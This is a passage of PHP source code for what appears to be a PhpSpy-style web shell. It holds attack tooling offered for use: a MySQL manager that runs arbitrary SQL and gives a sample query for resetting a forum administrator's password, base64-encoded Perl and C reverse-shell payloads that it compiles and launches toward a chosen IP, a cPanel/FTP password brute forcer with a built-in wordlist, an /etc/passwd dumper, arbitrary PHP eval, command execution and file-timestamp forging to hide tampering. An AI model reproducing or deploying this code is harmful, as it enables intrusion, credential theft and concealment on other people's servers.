786 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
787 if(isset($dbhost)){
788 $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
789 }
790 if(isset($dbuser)) {
791 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
792 }
793 if(isset($dbpass)) {
794 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
795 }
796 if(isset($dbport)) {
797 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
798 }
799 if(isset($dbname)) {
800 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
801 }
802 if(isset($charset)) {
803 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
804 }
805
806 if ($doing == 'backupmysql' && $saveasfile) {
807 if (!$table) {
808 m('Please choose the table');
809 } else {
810 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
811 $table = array_flip($table);
812 $fp = @fopen($path,'w');
813 if ($fp) {
814 $result = q('SHOW tables');
815 if (!$result) p('<h2>'.mysql_error().'</h2>');
816 $mysqldata = '';
817 while ($currow = mysql_fetch_array($result)) {
818 if (isset($table[$currow[0]])) {
819 sqldumptable($currow[0], $fp);
820 }
821 }
822 fclose($fp);
823 $fileurl = str_replace(SA_ROOT,'',$path);
824 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
825 mysql_close();
826 } else {
827 m('Backup failed');
828 }
829 }
830 }
831 if ($insert && $insertsql) {
832 $keystr = $valstr = $tmp = '';
833 foreach($insertsql as $key => $val) {
834 if ($val) {
835 $keystr .= $tmp.$key;
836 $valstr .= $tmp."'".addslashes($val)."'";
837 $tmp = ',';
838 }
839 }
840 if ($keystr && $valstr) {
841 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
842 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
843 }
844 }
845 if ($update && $insertsql && $base64) {
846 $valstr = $tmp = '';
847 foreach($insertsql as $key => $val) {
848 $valstr .= $tmp.$key."='".addslashes($val)."'";
849 $tmp = ',';
850 }
851 if ($valstr) {
852 $where = base64_decode($base64);
853 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
854 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
855 }
856 }
857 if ($doing == 'del' && $base64) {
858 $where = base64_decode($base64);
859 $delete_sql = "DELETE FROM $tablename WHERE $where";
860 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
861 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
862 }
863
864 if ($tablename && $doing == 'drop') {
865 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
866 if (q("DROP TABLE $tablename")) {
867 m('Drop table of success');
868 $tablename = '';
869 } else {
870 m(mysql_error());
871 }
872 }
873
874 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
875
876 formhead(array('title'=>'MYSQL Manager'));
877 makehide('action','sqladmin');
878 p('<p>');
879 p('DBHost:');
880 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
881 p(':');
882 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
883 p('DBUser:');
884 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
885 p('DBPass:');
886 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
887 p('DBCharset:');
888 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
889 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
890 p('</p>');
891 formfoot();
892?>
893
894<script type="text/javascript">
895function editrecord(action, base64, tablename){
896 if (action == 'del') {
897 if (!confirm('Is or isn\'t deletion record?')) return;
898 }
899 $('recordlist').doing.value=action;
900 $('recordlist').base64.value=base64;
901 $('recordlist').tablename.value=tablename;
902 $('recordlist').submit();
903}
904function moddbname(dbname) {
905 if(!dbname) return;
906 $('setdbname').dbname.value=dbname;
907 $('setdbname').submit();
908}
909function settable(tablename,doing,page) {
910 if(!tablename) return;
911 if (doing) {
912 $('settable').doing.value=doing;
913 }
914 if (page) {
915 $('settable').page.value=page;
916 }
917 $('settable').tablename.value=tablename;
918 $('settable').submit();
919}
920</script>
921<?php
922 // SQL
923 formhead(array('name'=>'recordlist'));
924 makehide('doing');
925 makehide('action','sqladmin');
926 makehide('base64');
927 makehide('tablename');
928 p($dbform);
929 formfoot();
930
931 // Data
932 formhead(array('name'=>'setdbname'));
933 makehide('action','sqladmin');
934 p($dbform);
935 if (!$dbname) {
936 makehide('dbname');
937 }
938 formfoot();
939
940
941 formhead(array('name'=>'settable'));
942 makehide('action','sqladmin');
943 p($dbform);
944 makehide('tablename');
945 makehide('page',$page);
946 makehide('doing');
947 formfoot();
948
949 $cachetables = array();
950 $pagenum = 30;
951 $page = intval($page);
952 if($page) {
953 $start_limit = ($page - 1) * $pagenum;
954 } else {
955 $start_limit = 0;
956 $page = 1;
957 }
958 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
959 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
960 // get mysql server
961 $mysqlver = mysql_get_server_info();
962 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
963 $highver = $mysqlver > '4.1' ? 1 : 0;
964
965 // Show database
966 $query = q("SHOW DATABASES");
967 $dbs = array();
968 $dbs[] = '-- Select a database --';
969 while($db = mysql_fetch_array($query)) {
970 $dbs[$db['Database']] = $db['Database'];
971 }
972 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
973 $tabledb = array();
974 if ($dbname) {
975 p('<p>');
976 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
977 if ($tablename) {
978 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
979 }
980 p('</p>');
981 mysql_select_db($dbname);
982
983 $getnumsql = '';
984 $runquery = 0;
985 if ($sql_query) {
986 $runquery = 1;
987 }
988 $allowedit = 0;
989 if ($tablename && !$sql_query) {
990 $sql_query = "SELECT * FROM $tablename";
991 $getnumsql = $sql_query;
992 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
993 $allowedit = 1;
994 }
995 p('<form action="'.$self.'" method="POST">');
996 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \'69e53e5ab9536e55d31ff533aefc4fbe\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
997
998 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
999 makehide('tablename', $tablename);
1000 makehide('action','sqladmin');
1001 p($dbform);
1002 p('</form>');
1003 if ($tablename || ($runquery && $sql_query)) {
1004 if ($doing == 'structure') {
1005 $result = q("SHOW COLUMNS FROM $tablename");
1006 $rowdb = array();
1007 while($row = mysql_fetch_array($result)) {
1008 $rowdb[] = $row;
1009 }
1010 p('<table border="0" cellpadding="3" cellspacing="0">');
1011 p('<tr class="head">');
1012 p('<td>Field</td>');
1013 p('<td>Type</td>');
1014 p('<td>Null</td>');
1015 p('<td>Key</td>');
1016 p('<td>Default</td>');
1017 p('<td>Extra</td>');
1018 p('</tr>');
1019 foreach ($rowdb as $row) {
1020 $thisbg = bg();
1021 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1022 p('<td>'.$row['Field'].'</td>');
1023 p('<td>'.$row['Type'].'</td>');
1024 p('<td>'.$row['Null'].' </td>');
1025 p('<td>'.$row['Key'].' </td>');
1026 p('<td>'.$row['Default'].' </td>');
1027 p('<td>'.$row['Extra'].' </td>');
1028 p('</tr>');
1029 }
1030 tbfoot();
1031 } elseif ($doing == 'insert' || $doing == 'edit') {
1032 $result = q('SHOW COLUMNS FROM '.$tablename);
1033 while ($row = mysql_fetch_array($result)) {
1034 $rowdb[] = $row;
1035 }
1036 $rs = array();
1037 if ($doing == 'insert') {
1038 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1039 } else {
1040 p('<h2>Update record in '.$tablename.' table »</h2>');
1041 $where = base64_decode($base64);
1042 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1043 $rs = mysql_fetch_array($result);
1044 }
1045 p('<form method="post" action="'.$self.'">');
1046 p($dbform);
1047 makehide('action','sqladmin');
1048 makehide('tablename',$tablename);
1049 p('<table border="0" cellpadding="3" cellspacing="0">');
1050 foreach ($rowdb as $row) {
1051 if ($rs[$row['Field']]) {
1052 $value = htmlspecialchars($rs[$row['Field']]);
1053 } else {
1054 $value = '';
1055 }
1056 $thisbg = bg();
1057 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1058 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1059 }
1060 if ($doing == 'insert') {
1061 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1062 } else {
1063 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1064 makehide('base64', $base64);
1065 }
1066 p('</table></form>');
1067 } else {
1068 $querys = @explode(';',$sql_query);
1069 foreach($querys as $num=>$query) {
1070 if ($query) {
1071 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1072 switch(qy($query))
1073 {
1074 case 0:
1075 p('<h2>Error : '.mysql_error().'</h2>');
1076 break;
1077 case 1:
1078 if (strtolower(substr($query,0,13)) == 'select * from') {
1079 $allowedit = 1;
1080 }
1081 if ($getnumsql) {
1082 $tatol = mysql_num_rows(q($getnumsql));
1083 $multipage = multi($tatol, $pagenum, $page, $tablename);
1084 }
1085 if (!$tablename) {
1086 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1087 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1088 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1089 $tablename = $matches[1][0];
1090 }
1091 $result = q($query);
1092 p($multipage);
1093 p('<table border="0" cellpadding="3" cellspacing="0">');
1094 p('<tr class="head">');
1095 if ($allowedit) p('<td>Action</td>');
1096 $fieldnum = @mysql_num_fields($result);
1097 for($i=0;$i<$fieldnum;$i++){
1098 $name = @mysql_field_name($result, $i);
1099 $type = @mysql_field_type($result, $i);
1100 $len = @mysql_field_len($result, $i);
1101 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1102 }
1103 p('</tr>');
1104 while($mn = @mysql_fetch_assoc($result)){
1105 $thisbg = bg();
1106 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1107 $where = $tmp = $b1 = '';
1108 foreach($mn as $key=>$inside){
1109 if ($inside) {
1110 $where .= $tmp.$key."='".addslashes($inside)."'";
1111 $tmp = ' AND ';
1112 }
1113 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1114 }
1115 $where = base64_encode($where);
1116 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1117 p($b1);
1118 p('</tr>');
1119 unset($b1);
1120 }
1121 tbfoot();
1122 p($multipage);
1123 break;
1124 case 2:
1125 $ar = mysql_affected_rows();
1126 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1127 break;
1128 }
1129 }
1130 }
1131 }
1132 } else {
1133 $query = q("SHOW TABLE STATUS");
1134 $table_num = $table_rows = $data_size = 0;
1135 $tabledb = array();
1136 while($table = mysql_fetch_array($query)) {
1137 $data_size = $data_size + $table['Data_length'];
1138 $table_rows = $table_rows + $table['Rows'];
1139 $table['Data_length'] = sizecount($table['Data_length']);
1140 $table_num++;
1141 $tabledb[] = $table;
1142 }
1143 $data_size = sizecount($data_size);
1144 unset($table);
1145 p('<table border="0" cellpadding="0" cellspacing="0">');
1146 p('<form action="'.$self.'" method="POST">');
1147 makehide('action','sqladmin');
1148 p($dbform);
1149 p('<tr class="head">');
1150 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1151 p('<td>Name</td>');
1152 p('<td>Rows</td>');
1153 p('<td>Data_length</td>');
1154 p('<td>Create_time</td>');
1155 p('<td>Update_time</td>');
1156 if ($highver) {
1157 p('<td>Engine</td>');
1158 p('<td>Collation</td>');
1159 }
1160 p('</tr>');
1161 foreach ($tabledb as $key => $table) {
1162 $thisbg = bg();
1163 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1164 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1165 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1166 p('<td>'.$table['Rows'].'</td>');
1167 p('<td>'.$table['Data_length'].'</td>');
1168 p('<td>'.$table['Create_time'].'</td>');
1169 p('<td>'.$table['Update_time'].'</td>');
1170 if ($highver) {
1171 p('<td>'.$table['Engine'].'</td>');
1172 p('<td>'.$table['Collation'].'</td>');
1173 }
1174 p('</tr>');
1175 }
1176 p('<tr class=fout>');
1177 p('<td> </td>');
1178 p('<td>Total tables: '.$table_num.'</td>');
1179 p('<td>'.$table_rows.'</td>');
1180 p('<td>'.$data_size.'</td>');
1181 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1182 p('</tr>');
1183
1184 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1185 makehide('doing','backupmysql');
1186 formfoot();
1187 p("</table>");
1188 fr($query);
1189 }
1190 }
1191 }
1192 tbfoot();
1193 @mysql_close();
1194}//end sql backup
1195
1196
1197elseif ($action == 'backconnect') {
1198 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1199 !$yourport && $yourport = '12345';
1200 $usedb = array('perl'=>'perl','c'=>'c');
1201
1202 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1203 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1204 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1205 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1206 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1207 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1208 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1209 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1210 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1211 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1212 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1213 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1214 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1215 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1216 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1217
1218 if ($start && $yourip && $yourport && $use){
1219 if ($use == 'perl') {
1220 cf('/tmp/angel_bc',$back_connect);
1221 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1222 } else {
1223 cf('/tmp/angel_bc.c',$back_connect_c);
1224 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1225 @unlink('/tmp/angel_bc.c');
1226 $res = execute("/tmp/angel_bc $yourip $yourport &");
1227 }
1228 m("Now script try connect to $yourip port $yourport ...");
1229 }
1230
1231 formhead(array('title'=>'Back Connect'));
1232 makehide('action','backconnect');
1233 p('<p>');
1234 p('Your IP:');
1235 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1236 p('Your Port:');
1237 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1238 p('Use:');
1239 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1240 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1241 p('</p>');
1242 formfoot();
1243}//end backconnect window via NC
1244
1245// Brute
1246elseif ($action == 'brute') {
1247formhead(array('title'=>'Brute Forcer'));
1248 makehide('action','brute');
1249 makehide('dir',$brute);
1250@ini_set('memory_limit', 1000000000000);
1251$connect_timeout=5;
1252@set_time_limit(0);
1253$submit = $_REQUEST['submit'];
1254$users = $_REQUEST['users'];
1255$pass = $_REQUEST['passwords'];
1256$target = $_REQUEST['target'];
1257$option = $_REQUEST['option'];
1258
1259
1260$passlist = "0123456
126101234567
1262012345678
12630123456789
126401234567890
1265123456
12661234567
126712345678
1268123456789
12691234567890
1270111111
1271000000
1272222222
1273333333
1274444444
1275555555
1276666666
1277777777
1278888888
1279999999
1280123123
1281456456
1282789789
1283123321
1284456654
1285654321
12867654321
128787654321
1288987654321
12890987654321
1290admin
1291administrator
1292admincp
1293cpanel
1294adminx
1295admins
1296password
1297passwords
1298passw0rd
1299p@ssw0rd
1300p@ssword
1301khongco
130225251325
1303passw0rds";
1304if($target == ''){
1305$target = 'localhost';
1306}
1307print " <div align='center'>
1308
1309<form method='post' style='border: 1px solid #000000'><br><br>
1310<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
1311<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
1312<div align='center'><br>
1313<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1314<tr>
1315<td align='center'>
1316<b>Username</b></td>
1317<td>
1318<p align='center'>
1319<b>Password</b></td>
1320</tr>
1321</table>
1322
1323<p align='center'>
1324<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
1325$i = 0;
1326while ($i < 60000) {
1327
1328 $line = posix_getpwuid($i);
1329 if (!empty($line)) {
1330
1331 while (list ($key, $vba_etcpwd) = each($line)){
1332 echo "".$vba_etcpwd."\n";
1333 break;
1334 }
1335
1336 }
1337
1338 $i++;
1339}
1340echo "
1341</textarea>
1342<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
1343<br>
1344<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1345<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
1346</td></tr></table></td></tr></form><p align= 'left'>";
1347?>
1348<?php
1349function ftp_check($host,$user,$pass,$timeout){
1350$ch = curl_init();
1351curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1352curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1353curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1354curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1355curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1356curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1357curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1358$data = curl_exec($ch);
1359if ( curl_errno($ch) == 28 ) {
1360
1361print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1362exit;}
1363
1364elseif ( curl_errno($ch) == 0 ){
1365
1366p("<b>[ attack@vbateam.net ]# </b>
1367
1368<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
1369}
1370curl_close($ch);}
1371
1372function cpanel_check($host,$user,$pass,$timeout){
1373$ch = curl_init();
1374curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1375curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1376curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1377curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1378curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1379curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1380$data = curl_exec($ch);
1381if ( curl_errno($ch) == 28 ) {
1382print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1383exit;}
1384elseif ( curl_errno($ch) == 0 ){
1385
1386p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
1387
1388if(isset($submit) && !empty($submit)){
1389
1390$userlist = explode ("\n" , $users );
1391$passlist = explode ("\n" , $pass );
1392p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
1393foreach ($userlist as $user) {
1394$_user = trim($user);
1395foreach ($passlist as $password ) {
1396$_pass = trim($password);
1397if($option == "ftp"){
1398ftp_check($target,$_user,$_pass,$connect_timeout);
1399}
1400if ($option == "cpanel")
1401{
1402cpanel_check($target,$_user,$_pass,$connect_timeout);
1403}
1404}
1405}
1406}
1407
1408 formfoot();
1409}
1410
1411
1412
1413
1414
1415
1416elseif ($action == 'etcpwd') {
1417formhead(array('title'=>'Get /etc/passwd'));
1418 makehide('action','etcpwd');
1419 makehide('dir',$nowpath);
1420$i = 0;
1421 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1422while ($i < 60000) {
1423
1424 $line = posix_getpwuid($i);
1425 if (!empty($line)) {
1426
1427 while (list ($key, $vba_etcpwd) = each($line)){
1428 echo "".$vba_etcpwd."\n";
1429 break;
1430 }
1431
1432 }
1433
1434 $i++;
1435}
1436 echo "</textarea></p>";
1437 formfoot();
1438}
1439
1440elseif ($action == 'eval') {
1441 $phpcode = trim($phpcode);
1442 if($phpcode){
1443 if (!preg_match('#<\?#si', $phpcode)) {
1444 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1445 }
1446 eval("?".">$phpcode<?");
1447 }
1448 formhead(array('title'=>'Eval PHP Code'));
1449 makehide('action','eval');
1450 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1451 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1452 formfooter();
1453}//end eval
1454
1455elseif ($action == 'editfile') {
1456 if(file_exists($opfile)) {
1457 $fp=@fopen($opfile,'r');
1458 $contents=@fread($fp, filesize($opfile));
1459 @fclose($fp);
1460 $contents=htmlspecialchars($contents);
1461 }
1462 formhead(array('title'=>'Create / Edit File'));
1463 makehide('action','file');
1464 makehide('dir',$nowpath);
1465 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1466 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1467 formfooter();
1468}//end editfile
1469
1470elseif ($action == 'newtime') {
1471 $opfilemtime = @filemtime($opfile);
1472 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1473 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1474 formhead(array('title'=>'Clone file was last modified time'));
1475 makehide('action','file');
1476 makehide('dir',$nowpath);
1477 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1478 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1479 formfooter();
1480 formhead(array('title'=>'Set last modified'));
1481 makehide('action','file');
1482 makehide('dir',$nowpath);
1483 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1484 p('<p>Instead »');
1485 p('year:');
1486 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1487 p('month:');
1488 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1489 p('day:');
1490 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1491 p('hour:');
1492 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1493 p('minute:');
1494 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1495 p('second:');
1496 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1497 p('</p>');
1498 formfooter();
1499}//end newtime
1500
1501elseif ($action == 'shell') {
1502 if (IS_WIN && IS_COM) {
1503 if($program && $parameter) {
1504 $shell= new COM('Shell.Application');
1505 $a = $shell->ShellExecute($program,$parameter);
1506 m('Program run has '.(!$a ? 'success' : 'fail'));
1507 }
1508 !$program && $program = 'c:\windows\system32\cmd.exe';
1509 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1510 formhead(array('title'=>'Execute Program'));
1511 makehide('action','shell');
1512 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1513 p('<p>');
1514 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1515 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1516 p('</p>');
1517 formfoot();
1518 }
1519 formhead(array('title'=>'Execute Command'));
1520 makehide('action','shell');
1521 if (IS_WIN && IS_COM) {
1522 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1523 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1524 }
1525 p('<p>');
1526 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
